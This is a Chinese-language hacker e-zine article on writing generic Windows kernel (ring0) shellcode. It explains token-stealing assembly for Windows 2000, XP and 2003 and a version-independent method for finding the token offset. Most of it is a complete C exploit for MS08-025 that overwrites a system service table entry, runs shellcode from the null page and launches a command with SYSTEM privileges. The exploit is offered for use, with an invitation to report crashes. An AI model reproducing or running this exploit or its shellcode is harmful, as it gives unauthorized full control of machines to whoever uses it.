==Ph4nt0m Security Team==
 
                       Issue 0x02, Phile #0x05 of 0x0A
 

|=---------------------------------------------------------------------------=|
|=------------------------=[ 编写通用内核shellcode ]=------------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=-----------------------=[         By Tms320        ]=----------------------=|
|=----------------------=[   <Tms320_at_ph4nt0m.org>  ]=---------------------=|
|=---------------------------------------------------------------------------=|


一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0

    最近曝光的ms08-025漏洞，受影响的系统包含了微软出版的几乎所有NT体系结构的版本，
引起了不少研究者的兴趣，漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出，
为我们获取系统的ring0执行权限打开了方便之门，通过这类漏洞提升本地执行权限，获取
system权限执行级别。
   
    目前流传的利用程序，ring0 shellcode大多通过将system进程的Token赋予当前进程来
获取system权限。比较典型的代码如下：
    
    if ( OsVersionInfo.dwMinorVersion == 0 ) {

        __asm {

               nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x44]//取当前进程EPROCESS
               mov eax,esi

        search2000:

               mov eax,[eax+0xA0]
               sub eax,0xA0
               mov edx,[eax+0x9C]
                cmp edx,0x8 // 通过PID查找系统进程
               jne search2000

               mov eax,[eax+0x12C] // 获取system进程的token
               mov [esi+0x12C],eax // 修改当前进程的token
               ret 8

        }
    }

    if ( OsVersionInfo.dwMinorVersion == 1 ) {

        __asm {

               nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

        searchXp:

               mov eax,[eax+0x88]
               sub eax,0x88
               mov edx,[eax+0x84]
               cmp edx,0x4 // 通过PID查找系统进程
               jne searchXp

               mov eax,[eax+0xc8] // 获取system进程的token
               mov [esi+0xc8],eax // 修改当前进程的token

               ret 8

        }
    }

    if ( OsVersionInfo.dwMinorVersion == 2 ) {

        __asm {

           nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x218]
               mov eax,esi

        search2003:

               mov eax,[eax+0x98]
               sub eax,0x98
               mov edx,[eax+0x94]
                cmp edx,0x4 // 通过PID查找系统进程
               jne search2003

               mov eax,[eax+0xd8] // 获取system进程的token
               mov [esi+0xd8],eax // 修改当前进程的token
               ret 8

        }
    }

    对于视窗操作系统，由于EPROCESS这个结构不固定，不同系统中system进程PID不同，导
致上述代码遍历EPROCESS链表查找system进程时需要先判断系统版本，实际是采用硬编码的
方式ring0 shellcode。这种做法的兼容性并不是太好，在同一系统不同补丁下，难免保证不
出现蓝屏。笔者利用上述代码，在非sp1的2k3系统上蓝屏，深刻体会到了ring0利用程序崩溃
时候的威力。

二、本地通用的提权代码

    为了提高兼容性，就要尽量避免使用硬编码的方式。由ring3 shellcode的编程经验可
知。使用API可以可靠的执行需要的操作。而API的名称则相对固定。

    提权操作将system进程的Token赋予当前执行进程，我们需要做以下的操作：

    1.找到system进程EPROCESS。ring0 可以直接访问EPROCESS结构，而ntoskrnl.exe导出
的PsInitialSystemProcess 是一个指向system进程的EPROCESS的指针。我们只要从
ntoskrnl.exe获取导出变量PsInitialSystemProcess即可获得system进程的EPROCESS。
   
    2.获得当前进程的EPROCESS。ntoskrnl.exe提供了IoThreadToProcess（xp，2k3的
PsGetThreadProcess为同一函数）可以查找线程所属的进程，而当前执行线程可由KPCR+124h
获得，通过当前执行线程调用IoThreadToProcess就可以获得当前进程的EPROCESS。鉴于对
于不同版本的NT系统，KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]
获取当前线程的ETHREAD指针。
   
    3.替换当前进程的Token为system的Token。由于Token在EPROCESS中的偏移不固定，需
要先找出这个偏移值，然后再替换。ntoskrnl.exe导出PsReferencePrimaryToken函数包含
了从EPROCESS取Token的操作，我们需要把这个偏移量先从这个函数中挖出来。
   
    对于win 2k系统，PsReferencePrimaryToken取Token的代码为：

    mov     eax, [ebp+8]
    mov     edi, [eax+12Ch]
    lea     eax, [edi-18h]
          
    对于win xp/2k3系统，PsReferencePrimaryToken取Token的代码为：

    mov     edi, [ebp+8]
    lea     ebx, [edi+0D8h]
   
    虽然使用的寄存器不固定，但指令相对固定，可以采用获得PsReferencePrimaryToken入
口地址后搜索lea指令获得。再根据偏移为小于EPROCESS长度这一特性，取lea指令前后高位
两个字为0的操作数即可获取Token的偏移量。

    综上所述，给出对应的shellcode：

    PsReferencePrimaryToken=80123456h
    PsInitialSystemProcess=80123456h
    IoThreadToProcess=80123456h;
        pushad
        pushfd
        mov esi,PsReferencePrimaryToken
    findtokenoffset:
        lodsb
        cmp     al, 8Dh;
        jnz     findtokenoffset
        mov     edi,[esi+1]
        and     al, [esi+3];判断是否为Win 2k
        jz    @F
        mov     edi,[esi-5]
     @@:
        mov     esi, [PsInitialSystemProcess]
        push    dword ptr [0FFDFF124h]
        mov     eax,PsGetThreadProcess
        call    eax
        add     esi, edi
        add     edi, eax
        movsd
        popfd
        popad
        ret     08h

    代码中的常数PsReferencePrimaryToken，PsInitialSystemProcess，IoThreadToProcess
可以通过加载ntoskrnl.exe，由GetProcAddress在本地获取（需修正到内核地址）。附件给出
的完整ms08-025通用利用程序将给出获取这些地址的例程。

三、进一步提高通用性

    如果需要靠shellcode自己获取API的地址，就需要shellcode加上获取API地址的代码和
获取ntoskrnl.exe内核基址的代码。由于PE文件格式是固定的，ring3级的API引擎在ring0
下同样适用，我们可以通过API名称的编码，利用API引擎获取对应函数地址。ntoskrnl.exe
内核基址可以通过获取其中的函数后搜索PE头获得。在系统的中断描述符表中，我们可以找
到不少ntoskrnl.exe中断处理函数地址。利用sidt指令，我们可以获取指向系统中断描述符
表的指针，进一步获得ntoskrnl.exe中的函数。IDT指针同样保存在KPCR结构中，更为简单的
方法是直接从[0FFDFF038h](KPCR+38h)内存中读取。
    
    笔者基于上述思想编写了161字节的ring0 shellcode，成功用在了ms08-025的溢出中。
以这种方式实现的ring0 shellcdoe，可以不倚赖外部函数独立执行API操作，能够用于远程
的内核溢出中。远程ring0 shellcode仅仅在幻影内部交流，读者可以按照前述思想自己实
现相关代码。

四、附录

    无需判断系统版本的通用利用程序，如果你打崩了，请联系我，我进一步做改进。

    #include <stdio.h>
    #include <windows.h>
    #pragma comment (lib, "user32.lib")
    #pragma comment (lib, "ntdll.lib")

    typedef LONG NTSTATUS; 

    typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE               ProcessHandle,
                           PVOID            *BaseAddress,
                           ULONG                ZeroBits,
                           PULONG           RegionSize,
                           ULONG                AllocationType,
                           ULONG                Protect );
    typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);

    ZWVDMCONTROL    ZwVdmControl=NULL;
    DWORD        PsReferencePrimaryToken = 0;
    DWORD        PsInitialSystemProcess = 0;
    DWORD        IoThreadToProcess = 0;

    #define STATUS_SUCCESS  ((NTSTATUS)0x00000000L) 
    #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 

    typedef enum _SYSTEM_INFORMATION_CLASS {

        SystemModuleInformation=11,
    } SYSTEM_INFORMATION_CLASS;

    typedef struct _IMAGE_FIXUP_ENTRY {

        WORD    offset:12;
        WORD    type:4;
    } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

    typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11

        ULONG Reserved[2];
        PVOID Base;
        ULONG Size;
        ULONG Flags;
        USHORT Index;
        USHORT Unknown;
        USHORT LoadCount;
        USHORT ModuleNameOffset;
        CHAR ImageName[256];
    } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 

    extern "C"
    NTSTATUS 
    NTAPI
    NtAllocateVirtualMemory(
        IN HANDLE ProcessHandle,
        IN OUT PVOID *BaseAddress,
        IN ULONG ZeroBits,
        IN OUT PULONG AllocationSize,
        IN ULONG AllocationType,
        IN ULONG Protect
        );

    extern "C"
    NTSTATUS
    NTAPI
    NtQuerySystemInformation(          
        IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
        IN OUT PVOID SystemInformation,
        IN ULONG SystemInformationLength,
        OUT PULONG ReturnLength OPTIONAL
        );

    extern "C"
    PIMAGE_NT_HEADERS
    NTAPI
    RtlImageNtHeader (
        IN PVOID Base
        );

    extern "C"
    PVOID
    NTAPI
    RtlImageDirectoryEntryToData (
        IN PVOID Base,
        IN BOOLEAN MappedAsImage,
        IN USHORT DirectoryEntry,
        OUT PULONG Size
        );

    void ErrorQuit(char *msg)
    {
        printf("%s:%x\n", msg, GetLastError());
        ExitProcess(0);
    }

    DWORD
    GetKernelBase(char *KernelName)
    {
        NTSTATUS        status = STATUS_SUCCESS;
        ULONG                i = 0;
        ULONG                NeedSize = 0;
        ULONG                ModuleTotal = 0;
        DWORD                dwKernelBase = 0;
        PCHAR Temp[10];
        PSYSTEM_MODULE_INFORMATION        SystemModuleInfo = NULL;
        
        status = NtQuerySystemInformation(
                    SystemModuleInformation, 
                    (PVOID)Temp, 
                    10, 
                    &NeedSize );

        if( status != STATUS_INFO_LENGTH_MISMATCH ) {

            printf("NtQuerySystemInformation (first) failed, status: %08X\n", status );
            return dwKernelBase;
        }
        
        SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
        if ( NULL == SystemModuleInfo ) {
        
            printf("NtQuerySystemInformation failed (second), code: %08X\n", GetLastError() );
            return dwKernelBase;
        }
        
        status = NtQuerySystemInformation(
                    SystemModuleInformation, 
                    SystemModuleInfo, 
                    NeedSize, 
                    &NeedSize );
        
        if( status != STATUS_SUCCESS ) {

            printf("NtQuerySystemInformation failed, status: %08X\n", status );
            return dwKernelBase;
        }

        
        ModuleTotal = *(PULONG)SystemModuleInfo;
        SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);
        
        for( i=0; i<ModuleTotal; i++ ) {

            if( strstr(SystemModuleInfo->ImageName, "ntoskrnl.exe")) {
            strcpy(KernelName, "ntoskrnl.exe");
                dwKernelBase = (DWORD)SystemModuleInfo->Base;
                break;
            }
        else if( strstr(SystemModuleInfo->ImageName, "ntkrnlpa.exe")) {
            strcpy(KernelName, "ntkrnlpa.exe");
                dwKernelBase = (DWORD)SystemModuleInfo->Base;
                break;
            }
        }
        
        LocalFree( SystemModuleInfo );
        return  dwKernelBase;
    }


    DWORD
    FindKiServiceTable(HMODULE  hModule, DWORD dwKeSDTOffset)
    {
        PIMAGE_NT_HEADERS                NtHeaders = NULL;
        PIMAGE_BASE_RELOCATION        ImageBaseReloc = NULL;
        PIMAGE_FIXUP_ENTRY                ImageFixup = NULL;
        DWORD                                        RelocTableSize = 0;
        DWORD                                        i;
        DWORD                                        dwVirtualAddress;
        DWORD                                        dwRva;
        DWORD                                        dwKiServiceTable = 0;

        NtHeaders = RtlImageNtHeader( hModule );
        ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule,
                                                        TRUE,
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC,
                                                        &RelocTableSize );
        if ( NULL == ImageBaseReloc ) {
        
            return 0;
        }

        do {

            ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
        
            for ( i = 0; 
                i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
                i++, ImageFixup++ ) {
                
                    if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {
                    
                        dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
                        dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase;
                    
                        if ( dwRva == dwKeSDTOffset ) {
                        
                            if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {

                                dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;        
                                return dwKiServiceTable;
                            }
                        }
                    }
            }

            *(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;
        
        } while ( ImageBaseReloc->VirtualAddress );

        return 0;
    }

    void InitTrampoline()
    {

       PNTALLOCATE NtAllocateVirtualMemory;
       LPVOID       addr = (LPVOID)3;
       DWORD       dwShellSize=0x1000;
       unsigned char trampoline[]=
    "\x60\x9C\xBE\x56\x34\x12\x80\xAC\x3C\x8D\x75\xFB\x8B\x7E\x01\x22"
    "\x46\x03\x74\x03\x8B\x7E\xFB\x8B\x35\x56\x34\x12\x80\xFF\x35\x24"
    "\xF1\xDF\xFF\xB8\x56\x34\x12\x80\xFF\xD0\x03\xF7\x03\xF8\xA5\x9D"
    "\x61\xC2\x08\x00";

       NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

       if( !NtAllocateVirtualMemory )
           exit(0); 

       NtAllocateVirtualMemory(   (HANDLE)-1,
                       &addr,
                       0,
                       &dwShellSize,
                       MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                       PAGE_EXECUTE_READWRITE );

       if( (PULONG)addr )
       {
           printf("\n[++] Error Allocating memory\n");
           exit(0); 
       }


       *(DWORD*)(trampoline+3)=PsReferencePrimaryToken;
       *(DWORD*)(trampoline+0x19)=PsInitialSystemProcess;
       *(DWORD*)(trampoline+0x24)=IoThreadToProcess;
       memcpy(NULL,trampoline,sizeof(trampoline)-1);
    }

    void GetFunction()
    {
        HMODULE    hNtdll;
        
        hNtdll = LoadLibrary("ntdll.dll");
        if(hNtdll == NULL)
        ErrorQuit("LoadLibrary failed.\n");
        
        ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
        if(ZwVdmControl == NULL)
        ErrorQuit("GetProcAddress failed.\n");
               
        FreeLibrary(hNtdll);
    }
    int main(int argc, char **argv)
    {

       //PULONG   PntVdmControl=0x805F0DB0;
        DWORD PntVdmControl=0x80800458; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得
        
        PVOID        KeServiceDescriptorTable = NULL;
        DWORD        dwKernelBase = 0;
        DWORD        dwKeSDTOffset = 0;
        DWORD        dwKiServiceTable = 0;
        DWORD        FuncNumber = 0;
        HMODULE      hKernel;
        char         szNtos[MAX_PATH] = {0};
         
        STARTUPINFOA                stStartup;
        PROCESS_INFORMATION            pi;

      printf("\n\tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \n");
      printf("\tBy Tms320, Tms320@ph4nt0m.org\n");
      printf("\tAll unpathched OS can be compromised\n\n");
      if ( argc < 2 )
      {
        printf("\tUsage: %s <command>\n", argv[0]);
        exit(0);
      }

       GetFunction();

       dwKernelBase = GetKernelBase(szNtos);

       if( dwKernelBase )
       {
           printf("Get KernelBase Success, %s base = %08X\n", szNtos, dwKernelBase);
           hKernel = LoadLibraryExA(szNtos,0,1);
       }
       else
       {
           printf("GetProcAddress failed, code: %d\n", GetLastError());
           return FALSE;
       }   

        KeServiceDescriptorTable = GetProcAddress( hKernel,  "KeServiceDescriptorTable" );
        if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address failed");

        printf( "KeServiceDescriptorTable = %08X\n", KeServiceDescriptorTable );

        dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel;

        dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset );
        if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.\n");
        printf( "ok!!!\nKiServiceTable == %08X\n", dwKiServiceTable + dwKernelBase );


        FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);

        printf( "ZwVdmControl Call Number: %08X\n", FuncNumber );

        PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );


        PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel,  "PsReferencePrimaryToken" )-(DWORD)hKernel+dwKernelBase;        
        PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel,  "PsInitialSystemProcess" )-(DWORD)hKernel+dwKernelBase;
        IoThreadToProcess = (DWORD)GetProcAddress( hKernel,  "IoThreadToProcess" )-(DWORD)hKernel+dwKernelBase;
       InitTrampoline();

       SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl );
       SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2);
       printf("\n[+] Executing Shellcode...\n");

       ZwVdmControl(0, NULL);
       GetStartupInfo( &stStartup );

       CreateProcess( NULL,
           argv[1],
           NULL,
           NULL,
           TRUE,
           NULL,
           NULL,
           NULL,
           &stStartup,
           &pi );   //此时创建的cmd.exe是SYSTEM权限

       
       printf("[+] Exiting...\n");

       return TRUE;
    }

-EOF-